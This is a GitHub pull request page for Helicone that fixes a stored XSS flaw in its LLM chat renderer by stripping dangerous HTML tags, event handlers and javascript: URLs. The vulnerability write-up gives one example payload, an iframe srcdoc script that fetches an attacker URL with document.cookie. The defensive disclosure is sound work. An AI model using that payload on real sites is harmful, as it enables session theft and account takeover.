Skip to content

security: strip dangerous HTML from LLM outputs to prevent stored XSS#5589

Merged
chitalian merged 1 commit intoHelicone:mainfrom
ink-the-squid:security/fix-xss-chat-renderer
Feb 19, 2026
Merged

security: strip dangerous HTML from LLM outputs to prevent stored XSS#5589
chitalian merged 1 commit intoHelicone:mainfrom
ink-the-squid:security/fix-xss-chat-renderer

Conversation

@ink-the-squid
Copy link
Contributor

Summary

Fixes a stored XSS vulnerability in the chat message renderer that could allow full account takeover.

Vulnerability

LLM outputs can contain raw HTML that gets rendered unsanitized in the browser:

  1. rehype-raw is enabled in Streamdown, allowing raw HTML passthrough in markdown
  2. rehype-harden only sanitizes <a> and <img> tags — it does NOT handle <iframe>, <script>, <object>, <embed>, <style>, etc.
  3. An attacker can craft an LLM response containing e.g. <iframe srcdoc="<script>fetch(attacker_url + document.cookie)</script>"> which executes in the viewer's browser
  4. Since Supabase auth tokens lack httpOnly, this enables cookie theft and full account takeover

Fix

Added stripDangerousHtml() utility (web/lib/sanitizeContent.ts) that strips dangerous HTML tags from content before it reaches Streamdown's markdown renderer. Applied to all 4 Streamdown render sites:

  • TextMessage.tsx — main chat message renderer
  • ChatOnlyView.tsx — chat-only view
  • AssistantToolCalls.tsx — tool call content
  • Realtime.tsx — realtime session instructions

Why this approach?

  • DOMPurify can't be used directly on markdown text — it parses input as HTML and mangles markdown syntax (backticks, asterisks, brackets)
  • Regex-based tag stripping preserves all markdown syntax while removing dangerous tags (<script>, <iframe>, <object>, <embed>, <style>, <form>, <svg>, etc.)
  • Also strips on* event handlers and javascript: protocol URLs from remaining tags

Testing

  • TypeScript compilation passes (tsc --noEmit)
  • Safe HTML tags used in markdown (like <b>, <em>, <a>) are preserved
  • Dangerous tags and their content are removed before rendering

@vercel
Copy link

vercel bot commented Feb 19, 2026

@ink-the-squid is attempting to deploy a commit to the Helicone Team on Vercel.

A member of the Team first needs to authorize it.

Copy link
Contributor

@greptile-apps greptile-apps bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Your free trial has ended. If you'd like to continue receiving code reviews, you can add a payment method here.

@chitalian chitalian merged commit 2026876 into Helicone:main Feb 19, 2026
3 of 7 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants